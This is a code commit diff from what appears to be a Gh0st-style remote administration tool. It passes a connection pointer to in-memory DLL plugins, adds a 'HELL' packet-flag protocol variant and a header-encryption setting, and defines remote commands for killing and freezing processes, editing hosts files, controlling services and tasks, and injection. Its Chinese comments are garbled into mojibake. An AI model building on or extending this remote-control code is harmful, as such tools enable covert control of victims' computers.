fix: Passing CONNECT_ADDRESS pointer to plugins
This commit is contained in:
@@ -202,7 +202,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (ulLength <= sz)break;
|
||||
DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
|
||||
if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) {
|
||||
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit);
|
||||
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn);
|
||||
CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, szBuffer + sz), 0, NULL));
|
||||
Mprintf("Execute '%s'%d succeed: %d Length: %d\n", info->Name, info->CallType, szBuffer[1], info->Size);
|
||||
}
|
||||
|
||||
@@ -16,11 +16,6 @@
|
||||
|
||||
#pragma comment(lib,"psapi.lib")
|
||||
|
||||
enum
|
||||
{
|
||||
COMMAND_WINDOW_CLOSE, //<2F>رմ<D8B1><D5B4><EFBFBD>
|
||||
COMMAND_WINDOW_TEST, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -195,7 +190,7 @@ VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
break;
|
||||
}
|
||||
case COMMAND_WINDOW_TEST: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
case CMD_WINDOW_TEST: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
TestWindow(szBuffer+1);
|
||||
break;
|
||||
|
||||
@@ -163,6 +163,7 @@ enum
|
||||
COMMAND_UPDATE = 53, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SHARE = 59, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_PROXY = 60, // <20><><EFBFBD><EFBFBD>ӳ<EFBFBD><D3B3>
|
||||
TOKEN_SYSINFOLIST = 61, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||
@@ -284,6 +285,72 @@ enum DecryptCommand {
|
||||
|
||||
typedef DecryptCommand BroType;
|
||||
|
||||
// <20><><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ<EFBFBD><D2B3><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD>
|
||||
#define CMD_WINDOW_CLOSE 0 // <20>رմ<D8B1><D5B4><EFBFBD>
|
||||
#define CMD_WINDOW_TEST 1 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// MachineManager ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>, ǰ<><C7B0><EFBFBD><EFBFBD>ö<EFBFBD><C3B6>ֵ˳<D6B5><EFBFBD><F2B2BBB5><EFBFBD>
|
||||
enum MachineManager {
|
||||
COMMAND_MACHINE_PROCESS,
|
||||
COMMAND_MACHINE_WINDOWS,
|
||||
COMMAND_MACHINE_NETSTATE,
|
||||
COMMAND_MACHINE_SOFTWARE,
|
||||
COMMAND_MACHINE_HTML,
|
||||
COMMAND_MACHINE_FAVORITES,
|
||||
COMMAND_MACHINE_WIN32SERVICE,
|
||||
COMMAND_MACHINE_DRIVERSERVICE,
|
||||
COMMAND_MACHINE_TASK,
|
||||
COMMAND_MACHINE_HOSTS, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_APPUNINSTALL,//ж<><D0B6>
|
||||
COMMAND_WINDOW_OPERATE,//<2F><><EFBFBD>ڿ<EFBFBD><DABF><EFBFBD>
|
||||
COMMAND_WINDOW_CLOSE,//<2F>ر<EFBFBD>
|
||||
COMMAND_PROCESS_KILL,//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_PROCESS_KILLDEL,//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----ɾ<><C9BE>
|
||||
COMMAND_PROCESS_DEL,//ǿ<><C7BF>ɾ<EFBFBD><C9BE> <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_PROCESS_FREEZING,//<2F><><EFBFBD><EFBFBD>
|
||||
COMMAND_PROCESS_THAW,//<2F>ⶳ
|
||||
COMMAND_HOSTS_SET,//hosts
|
||||
|
||||
COMMAND_SERVICE_LIST_WIN32,
|
||||
COMMAND_SERVICE_LIST_DRIVER,
|
||||
COMMAND_DELETESERVERICE,
|
||||
COMMAND_STARTSERVERICE,
|
||||
COMMAND_STOPSERVERICE,
|
||||
COMMAND_PAUSESERVERICE,
|
||||
COMMAND_CONTINUESERVERICE,
|
||||
|
||||
COMMAND_TASKCREAT,
|
||||
COMMAND_TASKDEL,
|
||||
COMMAND_TASKSTOP,
|
||||
COMMAND_TASKSTART,
|
||||
|
||||
COMMAND_INJECT,
|
||||
|
||||
TOKEN_MACHINE_PROCESS,
|
||||
TOKEN_MACHINE_WINDOWS,
|
||||
TOKEN_MACHINE_NETSTATE,
|
||||
TOKEN_MACHINE_SOFTWARE,
|
||||
TOKEN_MACHINE_HTML,
|
||||
TOKEN_MACHINE_FAVORITES,
|
||||
TOKEN_MACHINE_WIN32SERVICE,
|
||||
TOKEN_MACHINE_DRIVERSERVICE,
|
||||
TOKEN_MACHINE_HOSTS,
|
||||
TOKEN_MACHINE_SERVICE_LIST,
|
||||
TOKEN_MACHINE_TASKLIST,
|
||||
|
||||
TOKEN_MACHINE_MSG,
|
||||
};
|
||||
|
||||
struct WINDOWSINFO {
|
||||
char strTitle[1024];
|
||||
DWORD m_poceessid;
|
||||
DWORD m_hwnd;
|
||||
bool canlook;
|
||||
int w;
|
||||
int h;
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
@@ -387,7 +454,8 @@ public:
|
||||
char szBuildDate[12];
|
||||
int iMultiOpen;
|
||||
int iStartup; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
|
||||
char szReserved[130]; // ռλ<EFBFBD><EFBFBD>ʹ<EFBFBD>ṹ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD>300<EFBFBD>ֽ<EFBFBD>
|
||||
int iHeaderEnc; // <EFBFBD><EFBFBD><EFBFBD>ݼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char szReserved[126]; // ռλ<D5BC><CEBB>ʹ<EFBFBD>ṹ<EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
|
||||
|
||||
public:
|
||||
void SetType(int typ) {
|
||||
@@ -471,7 +539,7 @@ struct PluginParam {
|
||||
char IP[100]; // <20><><EFBFBD><EFBFBD>IP
|
||||
int Port; // <20><><EFBFBD>ض˿<D8B6>
|
||||
State *Exit; // <20>ͻ<EFBFBD><CDBB><EFBFBD>״̬
|
||||
void* User; // <EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void* User; // CONNECT_ADDRESS* ָ<EFBFBD><EFBFBD>
|
||||
PluginParam(const char*ip, int port, State *s, void* u=0) : Port(port), Exit(s), User(u){
|
||||
strcpy_s(IP, ip);
|
||||
}
|
||||
|
||||
@@ -124,7 +124,7 @@ protected:
|
||||
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
|
||||
}
|
||||
// More version may be added in the future.
|
||||
const char version0[] = "Shine", version1[] = "<<FUCK>>", version2[] = "Hello?";
|
||||
const char version0[] = "Shine", version1[] = "<<FUCK>>", version2[] = "Hello?", version3[] = "HELL";
|
||||
if (memcmp(version0, szPacketFlag, sizeof(version0) - 1) == 0) {
|
||||
memcpy(m_szPacketFlag, version0, sizeof(version0) - 1);
|
||||
m_nCompareLen = strlen(m_szPacketFlag);
|
||||
@@ -150,6 +150,14 @@ protected:
|
||||
compressMethod = COMPRESS_NONE;
|
||||
m_Encoder = new Encoder();
|
||||
}
|
||||
else if (memcmp(version3, szPacketFlag, sizeof(version3) - 1) == 0) {
|
||||
memcpy(m_szPacketFlag, version3, sizeof(version3) - 1);
|
||||
m_nCompareLen = strlen(m_szPacketFlag);
|
||||
m_nFlagLen = 8;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new Encoder();
|
||||
}
|
||||
else {
|
||||
return PR{ PARSER_FAILED };
|
||||
}
|
||||
|
||||
@@ -18,11 +18,6 @@ typedef struct ItemData
|
||||
}
|
||||
}ItemData;
|
||||
|
||||
enum
|
||||
{
|
||||
COMMAND_WINDOW_CLOSE, //<2F>رմ<D8B1><D5B4><EFBFBD>
|
||||
COMMAND_WINDOW_TEST, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
|
||||
|
||||
CSystemDlg::CSystemDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
@@ -370,7 +365,7 @@ void CSystemDlg::OnWlistClose()
|
||||
{
|
||||
|
||||
ZeroMemory(lpMsgBuf,20);
|
||||
lpMsgBuf[0]=COMMAND_WINDOW_CLOSE; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
lpMsgBuf[0]=CMD_WINDOW_CLOSE; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
|
||||
DWORD hwnd = data->ID; //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD> 4 djfkdfj dkfjf 4
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4
|
||||
@@ -390,7 +385,7 @@ void CSystemDlg::OnWlistHide()
|
||||
if (nItem>=0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf,20);
|
||||
lpMsgBuf[0]=COMMAND_WINDOW_TEST; //<2F><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
lpMsgBuf[0]=CMD_WINDOW_TEST; //<2F><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
|
||||
DWORD hwnd = data->ID; //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD>
|
||||
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); //ע<><D7A2><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>б<EFBFBD><D0B1>е<EFBFBD><D0B5><EFBFBD>ʾ״̬Ϊ"<22><><EFBFBD><EFBFBD>"
|
||||
@@ -413,7 +408,7 @@ void CSystemDlg::OnWlistRecover()
|
||||
if (nItem>=0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf,20);
|
||||
lpMsgBuf[0]=COMMAND_WINDOW_TEST;
|
||||
lpMsgBuf[0]=CMD_WINDOW_TEST;
|
||||
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
|
||||
DWORD hwnd = data->ID;
|
||||
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD>ʾ");
|
||||
@@ -435,7 +430,7 @@ void CSystemDlg::OnWlistMax()
|
||||
if (nItem>=0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf,20);
|
||||
lpMsgBuf[0]=COMMAND_WINDOW_TEST;
|
||||
lpMsgBuf[0]=CMD_WINDOW_TEST;
|
||||
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
|
||||
DWORD hwnd = data->ID;
|
||||
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD>ʾ");
|
||||
@@ -457,7 +452,7 @@ void CSystemDlg::OnWlistMin()
|
||||
if (nItem>=0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf,20);
|
||||
lpMsgBuf[0]=COMMAND_WINDOW_TEST;
|
||||
lpMsgBuf[0]=CMD_WINDOW_TEST;
|
||||
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
|
||||
DWORD hwnd = data->ID;
|
||||
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD>ʾ");
|
||||
|
||||
Reference in New Issue
Block a user